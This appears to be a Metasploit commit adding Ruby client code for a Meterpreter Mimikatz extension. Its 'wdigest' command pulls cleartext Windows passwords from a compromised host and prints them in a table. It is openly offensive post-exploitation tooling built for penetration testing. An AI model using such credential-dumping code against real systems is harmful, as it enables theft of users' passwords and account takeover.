Skip to content

Commit a23d7bb

Browse files
committed
Add client UI and parse results
1 parent 5fa8194 commit a23d7bb

File tree

3 files changed

+99
-2
lines changed

3 files changed

+99
-2
lines changed

lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,10 @@ module Mimikatz
1616
# exploitation.
1717
#
1818
###
19-
class Mimikatz < Extension
2019

20+
require 'csv'
21+
22+
class Mimikatz < Extension
2123

2224
def initialize(client)
2325
super(client, 'mimikatz')
@@ -32,8 +34,23 @@ def initialize(client)
3234
end
3335

3436
def wdigest()
35-
request = Packet.create_request('boiler')#'mimikatz_wdigest')
37+
request = Packet.create_request('mimikatz_wdigest')
3638
response = client.send_request(request)
39+
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
40+
41+
details = CSV.parse(result)
42+
accounts = []
43+
details.each do |acc|
44+
account = {
45+
:authid => acc[0],
46+
:package => acc[1],
47+
:user => acc[2],
48+
:domain => acc[3],
49+
:password => acc[4]
50+
}
51+
accounts << account
52+
end
53+
return accounts
3754
end
3855

3956
end

lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@ module Meterpreter
55
module Extensions
66
module Mimikatz
77

8+
TLV_TYPE_MIMIKATZ_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
9+
810
end
911
end
1012
end
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
# -*- coding: binary -*-
2+
require 'rex/post/meterpreter'
3+
4+
module Rex
5+
module Post
6+
module Meterpreter
7+
module Ui
8+
9+
###
10+
#
11+
# Privilege escalation extension user interface.
12+
#
13+
###
14+
class Console::CommandDispatcher::Mimikatz
15+
16+
Klass = Console::CommandDispatcher::Mimikatz
17+
18+
include Console::CommandDispatcher
19+
20+
#
21+
# Initializes an instance of the priv command interaction.
22+
#
23+
def initialize(shell)
24+
super
25+
end
26+
27+
#
28+
# List of supported commands.
29+
#
30+
def commands
31+
{
32+
"wdigest" => "Attempt to retrieve cleartext wdigest passwords",
33+
}
34+
end
35+
36+
def cmd_wdigest(*args)
37+
system_privilege_check
38+
accounts = client.mimikatz.wdigest
39+
40+
table = Rex::Ui::Text::Table.new(
41+
'Indent' => 0,
42+
'SortIndex' => 4,
43+
'Columns' =>
44+
[
45+
'AuthID', 'Package', 'Domain', 'User', 'Password'
46+
]
47+
)
48+
49+
accounts.each do |acc|
50+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
51+
end
52+
53+
table.print
54+
55+
return true
56+
end
57+
58+
def system_privilege_check
59+
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
60+
print_warning("Not currently running as SYSTEM")
61+
end
62+
63+
return true
64+
end
65+
66+
#
67+
# Name for this dispatcher
68+
#
69+
def name
70+
"Mimikatz"
71+
end
72+
73+
end
74+
75+
end
76+
end
77+
end
78+
end

0 commit comments

Comments
 (0)